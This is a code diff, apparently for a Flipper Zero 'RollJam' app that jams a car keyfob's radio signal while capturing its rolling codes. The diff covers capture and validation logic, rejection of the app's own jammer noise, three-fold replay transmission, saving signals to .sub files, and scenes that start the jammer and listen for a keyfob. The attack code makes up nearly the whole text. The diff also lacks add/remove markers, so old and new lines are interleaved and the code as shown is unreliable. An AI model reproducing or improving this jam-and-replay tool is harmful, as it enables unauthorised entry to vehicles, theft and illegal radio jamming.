if(!app->raw_capture_active) return;
|
||||
if(cap_state == CapDone) return;
|
||||
if(g_cap.state == CapDone) return;
|
||||
|
||||
cap_callback_count++;
|
||||
g_cap.callback_count++;
|
||||
|
||||
RawSignal* target;
|
||||
if(cap_target_first) {
|
||||
target = &app->signal_first;
|
||||
if(target->valid) return;
|
||||
} else {
|
||||
target = &app->signal_second;
|
||||
if(target->valid) return;
|
||||
}
|
||||
RawSignal* target = g_cap.target_first ? &app->signal_first : &app->signal_second;
|
||||
if(target->valid) return;
|
||||
|
||||
uint32_t dur = duration;
|
||||
// Check silence gap BEFORE clamping so 50ms gaps are detected correctly
|
||||
// Clamp only affects stored sample value, not gap detection
|
||||
bool is_silence = (dur > SILENCE_GAP_US);
|
||||
bool is_silence = (dur > SILENCE_GAP_US);
|
||||
bool is_medium_gap = (dur > 5000 && dur <= SILENCE_GAP_US);
|
||||
if(dur > 32767) dur = 32767;
|
||||
|
||||
switch(cap_state) {
|
||||
switch(g_cap.state) {
|
||||
case CapWaiting:
|
||||
if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US) {
|
||||
target->size = 0;
|
||||
cap_valid_count = 0;
|
||||
cap_total_count = 0;
|
||||
cap_state = CapRecording;
|
||||
|
||||
g_cap.continuous_count = 0;
|
||||
if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US && !is_silence) {
|
||||
target->size = 0;
|
||||
g_cap.valid_count = 0;
|
||||
g_cap.total_count = 0;
|
||||
g_cap.state = CapRecording;
|
||||
int16_t s = level ? (int16_t)dur : -(int16_t)dur;
|
||||
target->data[target->size++] = s;
|
||||
cap_valid_count++;
|
||||
cap_total_count++;
|
||||
g_cap.valid_count++;
|
||||
g_cap.total_count++;
|
||||
g_cap.continuous_count = 1;
|
||||
}
|
||||
break;
|
||||
|
||||
case CapRecording:
|
||||
g_cap.continuous_count++;
|
||||
|
||||
if(g_cap.continuous_count > MAX_CONTINUOUS_SAMPLES && !is_medium_gap && !is_silence) {
|
||||
target->size = 0;
|
||||
cap_ctx_reset(&g_cap);
|
||||
return;
|
||||
}
|
||||
|
||||
if(target->size >= RAW_SIGNAL_MAX_SIZE) {
|
||||
if(cap_valid_count >= MIN_FRAME_PULSES) {
|
||||
cap_state = CapDone;
|
||||
} else {
|
||||
g_cap.state = (g_cap.valid_count >= MIN_FRAME_PULSES) ? CapDone : CapWaiting;
|
||||
if(g_cap.state == CapWaiting) {
|
||||
target->size = 0;
|
||||
cap_valid_count = 0;
|
||||
cap_total_count = 0;
|
||||
cap_state = CapWaiting;
|
||||
g_cap.valid_count = 0;
|
||||
g_cap.total_count = 0;
|
||||
g_cap.continuous_count = 0;
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if(is_silence) {
|
||||
if(cap_valid_count >= MIN_FRAME_PULSES) {
|
||||
if(target->size < RAW_SIGNAL_MAX_SIZE) {
|
||||
int16_t s = level ? (int16_t)32767 : -32767;
|
||||
target->data[target->size++] = s;
|
||||
}
|
||||
cap_state = CapDone;
|
||||
if(g_cap.valid_count >= MIN_FRAME_PULSES) {
|
||||
if(target->size < RAW_SIGNAL_MAX_SIZE)
|
||||
target->data[target->size++] = level ? (int16_t)32767 : -32767;
|
||||
g_cap.state = CapDone;
|
||||
} else {
|
||||
target->size = 0;
|
||||
cap_valid_count = 0;
|
||||
cap_total_count = 0;
|
||||
cap_state = CapWaiting;
|
||||
cap_ctx_reset(&g_cap);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if(is_medium_gap) g_cap.continuous_count = 0;
|
||||
|
||||
{
|
||||
int16_t s = level ? (int16_t)dur : -(int16_t)dur;
|
||||
target->data[target->size++] = s;
|
||||
cap_total_count++;
|
||||
|
||||
g_cap.total_count++;
|
||||
if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US) {
|
||||
cap_valid_count++;
|
||||
if(cap_valid_count >= AUTO_ACCEPT_PULSES) {
|
||||
cap_state = CapDone;
|
||||
}
|
||||
g_cap.valid_count++;
|
||||
if(g_cap.valid_count >= AUTO_ACCEPT_PULSES)
|
||||
g_cap.state = CapDone;
|
||||
}
|
||||
}
|
||||
break;
|
||||
@@ -269,64 +384,51 @@ static void capture_rx_callback(bool level, uint32_t duration, void* context) {
|
||||
// ============================================================
|
||||
|
||||
void rolljam_capture_start(RollJamApp* app) {
|
||||
FURI_LOG_I(TAG, "Capture start: freq=%lu mod=%d", app->frequency, app->mod_index);
|
||||
FURI_LOG_I(TAG, "Capture start: freq=%lu mod=%d offset=%lu",
|
||||
app->frequency, app->mod_index, app->jam_offset_hz);
|
||||
|
||||
// Full radio reset sequence
|
||||
furi_hal_subghz_reset();
|
||||
furi_delay_ms(10);
|
||||
furi_hal_subghz_idle();
|
||||
furi_delay_ms(10);
|
||||
|
||||
const uint8_t* preset;
|
||||
const uint8_t* src_preset;
|
||||
switch(app->mod_index) {
|
||||
case ModIndex_FM238:
|
||||
case ModIndex_FM476:
|
||||
preset = preset_fsk_rx;
|
||||
break;
|
||||
default:
|
||||
preset = preset_ook_rx;
|
||||
break;
|
||||
case ModIndex_AM270: src_preset = preset_ook_270_async; break;
|
||||
case ModIndex_FM238: src_preset = preset_2fsk_238_async; break;
|
||||
case ModIndex_FM476: src_preset = preset_2fsk_476_async; break;
|
||||
default: src_preset = preset_ook_650_async; break;
|
||||
}
|
||||
|
||||
furi_hal_subghz_load_custom_preset(preset);
|
||||
furi_hal_subghz_load_custom_preset(src_preset);
|
||||
furi_delay_ms(5);
|
||||
|
||||
uint32_t real_freq = furi_hal_subghz_set_frequency(app->frequency);
|
||||
FURI_LOG_I(TAG, "Capture: freq set to %lu", real_freq);
|
||||
|
||||
uint32_t real_freq = furi_hal_subghz_set_frequency_and_path(app->frequency);
|
||||
FURI_LOG_I(TAG, "Capture: freq=%lu (requested %lu)", real_freq, app->frequency);
|
||||
furi_delay_ms(5);
|
||||
|
||||
furi_hal_subghz_rx();
|
||||
furi_delay_ms(50);
|
||||
cap_rssi_baseline = furi_hal_subghz_get_rssi();
|
||||
float rssi_baseline = furi_hal_subghz_get_rssi();
|
||||
g_cap.rssi_baseline = rssi_baseline;
|
||||
FURI_LOG_I(TAG, "Capture: RSSI baseline=%.1f dBm", (double)rssi_baseline);
|
||||
|
||||
furi_hal_subghz_idle();
|
||||
furi_delay_ms(5);
|
||||
FURI_LOG_I(TAG, "Capture: RSSI baseline=%.1f dBm", (double)cap_rssi_baseline);
|
||||
|
||||
cap_state = CapWaiting;
|
||||
cap_valid_count = 0;
|
||||
cap_total_count = 0;
|
||||
cap_callback_count = 0;
|
||||
cap_ctx_reset(&g_cap);
|
||||
|
||||
// Determine target
|
||||
if(!app->signal_first.valid) {
|
||||
cap_target_first = true;
|
||||
app->signal_first.size = 0;
|
||||
g_cap.target_first = true;
|
||||
app->signal_first.size = 0;
|
||||
app->signal_first.valid = false;
|
||||
FURI_LOG_I(TAG, "Capture target: FIRST signal");
|
||||
} else {
|
||||
cap_target_first = false;
|
||||
app->signal_second.size = 0;
|
||||
g_cap.target_first = false;
|
||||
app->signal_second.size = 0;
|
||||
app->signal_second.valid = false;
|
||||
FURI_LOG_I(TAG, "Capture target: SECOND signal (first already valid, size=%d)",
|
||||
app->signal_first.size);
|
||||
FURI_LOG_I(TAG, "Capture target: SECOND signal");
|
||||
}
|
||||
|
||||
g_cap.mod_index = app->mod_index;
|
||||
app->raw_capture_active = true;
|
||||
furi_hal_subghz_start_async_rx(capture_rx_callback, app);
|
||||
|
||||
FURI_LOG_I(TAG, "Capture: RX STARTED, active=%d, target_first=%d",
|
||||
app->raw_capture_active, cap_target_first);
|
||||
FURI_LOG_I(TAG, "Capture: RX STARTED");
|
||||
}
|
||||
|
||||
void rolljam_capture_stop(RollJamApp* app) {
|
||||
@@ -334,16 +436,11 @@ void rolljam_capture_stop(RollJamApp* app) {
|
||||
FURI_LOG_W(TAG, "Capture stop: was not active");
|
||||
return;
|
||||
}
|
||||
|
||||
app->raw_capture_active = false;
|
||||
|
||||
furi_hal_subghz_stop_async_rx();
|
||||
furi_delay_ms(5);
|
||||
furi_hal_subghz_idle();
|
||||
furi_delay_ms(5);
|
||||
|
||||
FURI_LOG_I(TAG, "Capture stopped. callbacks=%lu capState=%d validCnt=%d totalCnt=%d",
|
||||
cap_callback_count, cap_state, cap_valid_count, cap_total_count);
|
||||
FURI_LOG_I(TAG, "Capture stopped. cb=%lu state=%d valid=%d total=%d",
|
||||
g_cap.callback_count, g_cap.state, g_cap.valid_count, g_cap.total_count);
|
||||
FURI_LOG_I(TAG, " Sig1: size=%d valid=%d", app->signal_first.size, app->signal_first.valid);
|
||||
FURI_LOG_I(TAG, " Sig2: size=%d valid=%d", app->signal_second.size, app->signal_second.valid);
|
||||
}
|
||||
@@ -353,64 +450,46 @@ void rolljam_capture_stop(RollJamApp* app) {
|
||||
// ============================================================
|
||||
|
||||
bool rolljam_signal_is_valid(RawSignal* signal) {
|
||||
if(cap_state != CapDone) {
|
||||
// Log every few checks so we can see if callbacks are happening
|
||||
if(g_cap.state != CapDone) {
|
||||
static int check_count = 0;
|
||||
check_count++;
|
||||
if(check_count % 10 == 0) {
|
||||
FURI_LOG_D(TAG, "Validate: not done yet, state=%d callbacks=%lu valid=%d total=%d sig_size=%d",
|
||||
cap_state, cap_callback_count, cap_valid_count, cap_total_count, signal->size);
|
||||
}
|
||||
if(check_count % 10 == 0)
|
||||
FURI_LOG_D(TAG, "Validate: state=%d cb=%lu valid=%d total=%d size=%d",
|
||||
g_cap.state, g_cap.callback_count,
|
||||
g_cap.valid_count, g_cap.total_count, (int)signal->size);
|
||||
return false;
|
||||
}
|
||||
|
||||
if(signal->size < MIN_FRAME_PULSES) return false;
|
||||
if(signal->size < (size_t)MIN_FRAME_PULSES) return false;
|
||||
|
||||
// Reject jammer noise: if signal is uniform amplitude, it's our own jam
|
||||
if(rolljam_is_jammer_pattern(signal)) {
|
||||
FURI_LOG_W(TAG, "Jammer noise ignored (size=%d)", signal->size);
|
||||
if(rolljam_is_jammer_pattern_mod(signal, g_cap.mod_index)) {
|
||||
signal->size = 0;
|
||||
cap_state = CapWaiting;
|
||||
cap_valid_count = 0;
|
||||
cap_total_count = 0;
|
||||
cap_ctx_reset(&g_cap);
|
||||
return false;
|
||||
}
|
||||
|
||||
int good = 0;
|
||||
int total = (int)signal->size;
|
||||
|
||||
for(int i = 0; i < total; i++) {
|
||||
int16_t val = signal->data[i];
|
||||
int16_t abs_val = val > 0 ? val : -val;
|
||||
if((int32_t)abs_val >= MIN_PULSE_US) { // upper bound = clamp at 32767
|
||||
good++;
|
||||
}
|
||||
if(!rolljam_has_sufficient_variance(signal)) {
|
||||
signal->size = 0;
|
||||
cap_ctx_reset(&g_cap);
|
||||
return false;
|
||||
}
|
||||
|
||||
int good = 0;
|
||||
int total = (int)signal->size;
|
||||
for(int i = 0; i < total; i++) {
|
||||
int16_t abs_val = signal->data[i] > 0 ? signal->data[i] : -signal->data[i];
|
||||
if(abs_val >= MIN_PULSE_US) good++;
|
||||
}
|
||||
int ratio_pct = (total > 0) ? ((good * 100) / total) : 0;
|
||||
|
||||
if(ratio_pct > 50 && good >= MIN_FRAME_PULSES) {
|
||||
float rssi = furi_hal_subghz_get_rssi();
|
||||
float rssi_delta = rssi - cap_rssi_baseline;
|
||||
FURI_LOG_I(TAG, "Signal VALID: %d/%d (%d%%) samples=%d rssi=%.1f delta=%.1f",
|
||||
good, total, ratio_pct, total, (double)rssi, (double)rssi_delta);
|
||||
if(rssi_delta < 5.0f && rssi < -85.0f) {
|
||||
FURI_LOG_W(TAG, "Signal rejected: RSSI too low (%.1f dBm, delta=%.1f)",
|
||||
(double)rssi, (double)rssi_delta);
|
||||
signal->size = 0;
|
||||
cap_state = CapWaiting;
|
||||
cap_valid_count = 0;
|
||||
cap_total_count = 0;
|
||||
return false;
|
||||
}
|
||||
FURI_LOG_I(TAG, "Signal VALID: %d/%d (%d%%) size=%d", good, total, ratio_pct, total);
|
||||
return true;
|
||||
}
|
||||
|
||||
FURI_LOG_D(TAG, "Signal rejected: %d/%d (%d%%), reset", good, total, ratio_pct);
|
||||
FURI_LOG_D(TAG, "Signal rejected: %d/%d (%d%%)", good, total, ratio_pct);
|
||||
signal->size = 0;
|
||||
cap_state = CapWaiting;
|
||||
cap_valid_count = 0;
|
||||
cap_total_count = 0;
|
||||
cap_ctx_reset(&g_cap);
|
||||
return false;
|
||||
}
|
||||
|
||||
@@ -419,7 +498,7 @@ bool rolljam_signal_is_valid(RawSignal* signal) {
|
||||
// ============================================================
|
||||
|
||||
void rolljam_signal_cleanup(RawSignal* signal) {
|
||||
if(signal->size < MIN_FRAME_PULSES) return;
|
||||
if(signal->size < (size_t)MIN_FRAME_PULSES) return;
|
||||
|
||||
int16_t* cleaned = malloc(RAW_SIGNAL_MAX_SIZE * sizeof(int16_t));
|
||||
if(!cleaned) return;
|
||||
@@ -427,22 +506,21 @@ void rolljam_signal_cleanup(RawSignal* signal) {
|
||||
|
||||
size_t start = 0;
|
||||
while(start < signal->size) {
|
||||
int16_t val = signal->data[start];
|
||||
int16_t abs_val = val > 0 ? val : -val;
|
||||
int16_t abs_val = signal->data[start] > 0 ? signal->data[start] : -signal->data[start];
|
||||
if(abs_val >= MIN_PULSE_US) break;
|
||||
start++;
|
||||
}
|
||||
|
||||
for(size_t i = start; i < signal->size; i++) {
|
||||
int16_t val = signal->data[i];
|
||||
int16_t abs_val = val > 0 ? val : -val;
|
||||
bool is_positive = val > 0;
|
||||
int16_t val = signal->data[i];
|
||||
int16_t abs_val = val > 0 ? val : -val;
|
||||
bool is_positive = (val > 0);
|
||||
|
||||
if(abs_val < MIN_PULSE_US) {
|
||||
if(out > 0) {
|
||||
int16_t prev = cleaned[out - 1];
|
||||
bool prev_positive = prev > 0;
|
||||
int16_t prev_abs = prev > 0 ? prev : -prev;
|
||||
int16_t prev = cleaned[out - 1];
|
||||
bool prev_positive = (prev > 0);
|
||||
int16_t prev_abs = prev > 0 ? prev : -prev;
|
||||
if(prev_positive == is_positive) {
|
||||
int32_t merged = (int32_t)prev_abs + abs_val;
|
||||
if(merged > 32767) merged = 32767;
|
||||
@@ -455,27 +533,23 @@ void rolljam_signal_cleanup(RawSignal* signal) {
|
||||
int32_t q = ((abs_val + 50) / 100) * 100;
|
||||
if(q < MIN_PULSE_US) q = MIN_PULSE_US;
|
||||
if(q > 32767) q = 32767;
|
||||
int16_t quantized = (int16_t)q;
|
||||
|
||||
if(out < RAW_SIGNAL_MAX_SIZE) {
|
||||
cleaned[out++] = is_positive ? quantized : -quantized;
|
||||
}
|
||||
if(out < RAW_SIGNAL_MAX_SIZE)
|
||||
cleaned[out++] = is_positive ? (int16_t)q : -(int16_t)q;
|
||||
}
|
||||
|
||||
while(out > 0) {
|
||||
int16_t last = cleaned[out - 1];
|
||||
int16_t abs_last = last > 0 ? last : -last;
|
||||
int16_t abs_last = cleaned[out-1] > 0 ? cleaned[out-1] : -cleaned[out-1];
|
||||
if(abs_last >= MIN_PULSE_US && abs_last < 32767) break;
|
||||
out--;
|
||||
}
|
||||
|
||||
if(out >= MIN_FRAME_PULSES) {
|
||||
if(out >= (size_t)MIN_FRAME_PULSES) {
|
||||
size_t orig = signal->size;
|
||||
memcpy(signal->data, cleaned, out * sizeof(int16_t));
|
||||
signal->size = out;
|
||||
FURI_LOG_I(TAG, "Cleanup: %d -> %d samples", (int)orig, (int)out);
|
||||
}
|
||||
|
||||
free(cleaned);
|
||||
}
|
||||
|
||||
@@ -484,8 +558,8 @@ void rolljam_signal_cleanup(RawSignal* signal) {
|
||||
// ============================================================
|
||||
|
||||
typedef struct {
|
||||
const int16_t* data;
|
||||
size_t size;
|
||||
const int16_t* data;
|
||||
size_t size;
|
||||
volatile size_t index;
|
||||
} TxCtx;
|
||||
|
||||
@@ -494,11 +568,9 @@ static TxCtx g_tx;
|
||||
static LevelDuration tx_feed(void* context) {
|
||||
UNUSED(context);
|
||||
if(g_tx.index >= g_tx.size) return level_duration_reset();
|
||||
|
||||
int16_t sample = g_tx.data[g_tx.index++];
|
||||
bool level = (sample > 0);
|
||||
uint32_t dur = (uint32_t)(sample > 0 ? sample : -sample);
|
||||
|
||||
bool level = (sample > 0);
|
||||
uint32_t dur = (uint32_t)(sample > 0 ? sample : -sample);
|
||||
return level_duration_make(level, dur);
|
||||
}
|
||||
|
||||
@@ -507,33 +579,23 @@ void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal) {
|
||||
FURI_LOG_E(TAG, "TX: no valid signal");
|
||||
return;
|
||||
}
|
||||
FURI_LOG_I(TAG, "TX: %d samples at %lu Hz (3x)", (int)signal->size, app->frequency);
|
||||
|
||||
FURI_LOG_I(TAG, "TX: %d samples at %lu Hz (3x)", signal->size, app->frequency);
|
||||
|
||||
furi_hal_subghz_reset();
|
||||
furi_hal_subghz_idle();
|
||||
furi_delay_ms(10);
|
||||
|
||||
const uint8_t* tx_preset;
|
||||
const uint8_t* tx_src;
|
||||
switch(app->mod_index) {
|
||||
case ModIndex_FM238:
|
||||
tx_preset = preset_fsk_tx_238;
|
||||
break;
|
||||
case ModIndex_FM476:
|
||||
tx_preset = preset_fsk_tx_476;
|
||||
break;
|
||||
default:
|
||||
tx_preset = preset_ook_tx;
|
||||
break;
|
||||
case ModIndex_FM238: tx_src = preset_fsk_tx_238; break;
|
||||
case ModIndex_FM476: tx_src = preset_fsk_tx_476; break;
|
||||
default: tx_src = preset_ook_tx; break;
|
||||
}
|
||||
furi_hal_subghz_load_custom_preset(tx_preset);
|
||||
uint32_t real_freq = furi_hal_subghz_set_frequency(app->frequency);
|
||||
furi_hal_subghz_load_custom_preset(tx_src);
|
||||
uint32_t real_freq = furi_hal_subghz_set_frequency_and_path(app->frequency);
|
||||
FURI_LOG_I(TAG, "TX: freq=%lu", real_freq);
|
||||
furi_hal_subghz_idle();
|
||||
furi_delay_ms(5);
|
||||
|
||||
// Transmit 3 times — improves reliability especially at range
|
||||
for(int tx_repeat = 0; tx_repeat < 3; tx_repeat++) {
|
||||
g_tx.data = signal->data;
|
||||
g_tx.size = signal->size;
|
||||
g_tx.data = signal->data;
|
||||
g_tx.size = signal->size;
|
||||
g_tx.index = 0;
|
||||
|
||||
if(!furi_hal_subghz_start_async_tx(tx_feed, NULL)) {
|
||||
@@ -550,14 +612,11 @@ void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
furi_hal_subghz_stop_async_tx();
|
||||
FURI_LOG_I(TAG, "TX: repeat %d done (%d/%d)", tx_repeat, g_tx.index, signal->size);
|
||||
|
||||
// Small gap between repeats
|
||||
FURI_LOG_I(TAG, "TX: repeat %d done (%d/%d)",
|
||||
tx_repeat, (int)g_tx.index, (int)signal->size);
|
||||
if(tx_repeat < 2) furi_delay_ms(50);
|
||||
}
|
||||
|
||||
furi_hal_subghz_idle();
|
||||
FURI_LOG_I(TAG, "TX: all repeats done");
|
||||
}
|
||||
@@ -590,24 +649,20 @@ void rolljam_save_signal(RollJamApp* app, RawSignal* signal) {
|
||||
|
||||
furi_string_set(line, "Filetype: Flipper SubGhz RAW File\n");
|
||||
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
|
||||
|
||||
furi_string_printf(line, "Version: 1\n");
|
||||
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
|
||||
|
||||
furi_string_printf(line, "Frequency: %lu\n", app->frequency);
|
||||
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
|
||||
|
||||
const char* pname;
|
||||
switch(app->mod_index) {
|
||||
case ModIndex_AM270: pname = "FuriHalSubGhzPresetOok270Async"; break;
|
||||
case ModIndex_AM270: pname = "FuriHalSubGhzPresetOok270Async"; break;
|
||||
case ModIndex_FM238: pname = "FuriHalSubGhzPreset2FSKDev238Async"; break;
|
||||
case ModIndex_FM476: pname = "FuriHalSubGhzPreset2FSKDev476Async"; break;
|
||||
default: pname = "FuriHalSubGhzPresetOok650Async"; break;
|
||||
default: pname = "FuriHalSubGhzPresetOok650Async"; break;
|
||||
}
|
||||
|
||||
furi_string_printf(line, "Preset: %s\n", pname);
|
||||
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
|
||||
|
||||
furi_string_printf(line, "Protocol: RAW\n");
|
||||
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
|
||||
|
||||
@@ -616,15 +671,13 @@ void rolljam_save_signal(RollJamApp* app, RawSignal* signal) {
|
||||
furi_string_set(line, "RAW_Data:");
|
||||
size_t end = i + 512;
|
||||
if(end > signal->size) end = signal->size;
|
||||
for(; i < end; i++) {
|
||||
for(; i < end; i++)
|
||||
furi_string_cat_printf(line, " %d", signal->data[i]);
|
||||
}
|
||||
furi_string_cat(line, "\n");
|
||||
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
|
||||
}
|
||||
|
||||
furi_string_free(line);
|
||||
FURI_LOG_I(TAG, "Saved: %d samples", signal->size);
|
||||
FURI_LOG_I(TAG, "Saved: %d samples", (int)signal->size);
|
||||
} else {
|
||||
FURI_LOG_E(TAG, "Save failed!");
|
||||
}
|
||||
|
||||
@@ -15,20 +15,11 @@
|
||||
* This matches the Flipper .sub RAW format.
|
||||
*/
|
||||
|
||||
// Start raw capture on internal CC1101
|
||||
void rolljam_capture_start(RollJamApp* app);
|
||||
|
||||
// Stop capture
|
||||
void rolljam_capture_stop(RollJamApp* app);
|
||||
|
||||
// Check if captured signal looks valid (not just noise)
|
||||
bool rolljam_signal_is_valid(RawSignal* signal);
|
||||
|
||||
// Clean up captured signal: merge short pulses, quantize, trim noise
|
||||
void rolljam_signal_cleanup(RawSignal* signal);
|
||||
|
||||
// Transmit a raw signal via internal CC1101
|
||||
void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal);
|
||||
|
||||
// Save signal to .sub file on SD card
|
||||
void rolljam_save_signal(RollJamApp* app, RawSignal* signal);
|
||||
|
||||
@@ -180,7 +180,6 @@ static RollJamApp* rolljam_app_alloc(void) {
|
||||
// ============================================================
|
||||
|
||||
static void rolljam_app_free(RollJamApp* app) {
|
||||
// Safety: stop everything
|
||||
if(app->jamming_active) {
|
||||
rolljam_jammer_stop(app);
|
||||
}
|
||||
@@ -188,7 +187,6 @@ static void rolljam_app_free(RollJamApp* app) {
|
||||
rolljam_capture_stop(app);
|
||||
}
|
||||
|
||||
// Remove views
|
||||
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewVarItemList);
|
||||
variable_item_list_free(app->var_item_list);
|
||||
|
||||
@@ -201,11 +199,9 @@ static void rolljam_app_free(RollJamApp* app) {
|
||||
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewPopup);
|
||||
popup_free(app->popup);
|
||||
|
||||
// Core
|
||||
scene_manager_free(app->scene_manager);
|
||||
view_dispatcher_free(app->view_dispatcher);
|
||||
|
||||
// Services
|
||||
furi_record_close(RECORD_GUI);
|
||||
furi_record_close(RECORD_NOTIFICATION);
|
||||
furi_record_close(RECORD_STORAGE);
|
||||
|
||||
@@ -18,7 +18,6 @@
|
||||
|
||||
#define TAG "RollJam"
|
||||
|
||||
// Max raw signal buffer
|
||||
#define RAW_SIGNAL_MAX_SIZE 4096
|
||||
|
||||
// ============================================================
|
||||
@@ -127,20 +126,17 @@ typedef struct {
|
||||
// Main app struct
|
||||
// ============================================================
|
||||
typedef struct {
|
||||
// Core
|
||||
Gui* gui;
|
||||
ViewDispatcher* view_dispatcher;
|
||||
SceneManager* scene_manager;
|
||||
NotificationApp* notification;
|
||||
Storage* storage;
|
||||
|
||||
// Views / modules
|
||||
VariableItemList* var_item_list;
|
||||
Widget* widget;
|
||||
DialogEx* dialog_ex;
|
||||
Popup* popup;
|
||||
|
||||
// Settings
|
||||
FreqIndex freq_index;
|
||||
ModIndex mod_index;
|
||||
JamOffIndex jam_offset_index;
|
||||
@@ -149,16 +145,14 @@ typedef struct {
|
||||
uint32_t jam_frequency;
|
||||
uint32_t jam_offset_hz;
|
||||
|
||||
// Captured signals
|
||||
RawSignal signal_first;
|
||||
RawSignal signal_second;
|
||||
|
||||
// Jamming state
|
||||
bool jamming_active;
|
||||
FuriThread* jam_thread;
|
||||
volatile bool jam_thread_running;
|
||||
|
||||
// Capture state
|
||||
volatile bool raw_capture_active;
|
||||
|
||||
|
||||
} RollJamApp;
|
||||
|
||||
@@ -9,10 +9,8 @@
|
||||
static void phase1_timer_callback(void* context) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
if(app->signal_first.size > 0 &&
|
||||
if(app->signal_first.size >= 20 &&
|
||||
rolljam_signal_is_valid(&app->signal_first)) {
|
||||
rolljam_signal_cleanup(&app->signal_first);
|
||||
app->signal_first.valid = true;
|
||||
view_dispatcher_send_custom_event(
|
||||
app->view_dispatcher, RollJamEventSignalCaptured);
|
||||
}
|
||||
@@ -27,7 +25,32 @@ void rolljam_scene_attack_phase1_on_enter(void* context) {
|
||||
FontPrimary, "PHASE 1 / 4");
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 16, AlignCenter, AlignTop,
|
||||
FontSecondary, "Jamming active...");
|
||||
FontSecondary, "Starting...");
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 56, AlignCenter, AlignTop,
|
||||
FontSecondary, "[BACK] cancel");
|
||||
view_dispatcher_switch_to_view(app->view_dispatcher, RollJamViewWidget);
|
||||
|
||||
rolljam_ext_set_flux_capacitor(app->hw_index == HwIndex_FluxCapacitor);
|
||||
|
||||
rolljam_jammer_start(app);
|
||||
furi_delay_ms(300);
|
||||
|
||||
widget_reset(app->widget);
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 2, AlignCenter, AlignTop,
|
||||
FontPrimary, "PHASE 1 / 4");
|
||||
if(app->jamming_active) {
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 16, AlignCenter, AlignTop,
|
||||
FontSecondary, "Jamming active...");
|
||||
FURI_LOG_I(TAG, "Phase1: jammer activo en %lu Hz", app->jam_frequency);
|
||||
} else {
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 16, AlignCenter, AlignTop,
|
||||
FontSecondary, "No ext jammer");
|
||||
FURI_LOG_W(TAG, "Phase1: sin jammer, capturando de todas formas");
|
||||
}
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 28, AlignCenter, AlignTop,
|
||||
FontSecondary, "Listening for keyfob");
|
||||
@@ -38,16 +61,6 @@ void rolljam_scene_attack_phase1_on_enter(void* context) {
|
||||
app->widget, 64, 56, AlignCenter, AlignTop,
|
||||
FontSecondary, "[BACK] cancel");
|
||||
|
||||
view_dispatcher_switch_to_view(
|
||||
app->view_dispatcher, RollJamViewWidget);
|
||||
|
||||
// Configure hardware type
|
||||
rolljam_ext_set_flux_capacitor(app->hw_index == HwIndex_FluxCapacitor);
|
||||
|
||||
// Start jamming
|
||||
rolljam_jammer_start(app);
|
||||
|
||||
// Start capture
|
||||
rolljam_capture_start(app);
|
||||
|
||||
notification_message(app->notification, &sequence_blink_blue_100);
|
||||
@@ -67,21 +80,29 @@ bool rolljam_scene_attack_phase1_on_event(void* context, SceneManagerEvent event
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
if(event.event == RollJamEventSignalCaptured) {
|
||||
notification_message(app->notification, &sequence_success);
|
||||
|
||||
FURI_LOG_I(TAG, "Phase1: 1st signal captured! size=%d",
|
||||
app->signal_first.size);
|
||||
|
||||
// Stop capture cleanly
|
||||
rolljam_capture_stop(app);
|
||||
// Jamming stays active!
|
||||
|
||||
scene_manager_next_scene(
|
||||
app->scene_manager, RollJamSceneAttackPhase2);
|
||||
if(!rolljam_signal_is_valid(&app->signal_first)) {
|
||||
FURI_LOG_W(TAG, "Phase1: false capture, restarting RX...");
|
||||
app->signal_first.size = 0;
|
||||
app->signal_first.valid = false;
|
||||
furi_delay_ms(50);
|
||||
rolljam_capture_start(app);
|
||||
return true;
|
||||
}
|
||||
|
||||
rolljam_signal_cleanup(&app->signal_first);
|
||||
app->signal_first.valid = true;
|
||||
|
||||
notification_message(app->notification, &sequence_success);
|
||||
FURI_LOG_I(TAG, "Phase1: 1st signal captured! size=%d",
|
||||
(int)app->signal_first.size);
|
||||
|
||||
scene_manager_next_scene(app->scene_manager, RollJamSceneAttackPhase2);
|
||||
return true;
|
||||
}
|
||||
} else if(event.type == SceneManagerEventTypeBack) {
|
||||
FURI_LOG_I(TAG, "Phase1: cancelled by user");
|
||||
FURI_LOG_I(TAG, "Phase1: cancelled");
|
||||
rolljam_capture_stop(app);
|
||||
rolljam_jammer_stop(app);
|
||||
scene_manager_search_and_switch_to_another_scene(
|
||||
|
||||
@@ -9,10 +9,8 @@
|
||||
static void phase2_timer_callback(void* context) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
if(app->signal_second.size > 0 &&
|
||||
if(app->signal_second.size >= 20 &&
|
||||
rolljam_signal_is_valid(&app->signal_second)) {
|
||||
rolljam_signal_cleanup(&app->signal_second);
|
||||
app->signal_second.valid = true;
|
||||
view_dispatcher_send_custom_event(
|
||||
app->view_dispatcher, RollJamEventSignalCaptured);
|
||||
}
|
||||
@@ -38,21 +36,14 @@ void rolljam_scene_attack_phase2_on_enter(void* context) {
|
||||
app->widget, 64, 56, AlignCenter, AlignTop,
|
||||
FontSecondary, "[BACK] cancel");
|
||||
|
||||
view_dispatcher_switch_to_view(
|
||||
app->view_dispatcher, RollJamViewWidget);
|
||||
view_dispatcher_switch_to_view(app->view_dispatcher, RollJamViewWidget);
|
||||
|
||||
// CRITICAL: completely clear second signal
|
||||
memset(app->signal_second.data, 0, sizeof(app->signal_second.data));
|
||||
app->signal_second.size = 0;
|
||||
app->signal_second.size = 0;
|
||||
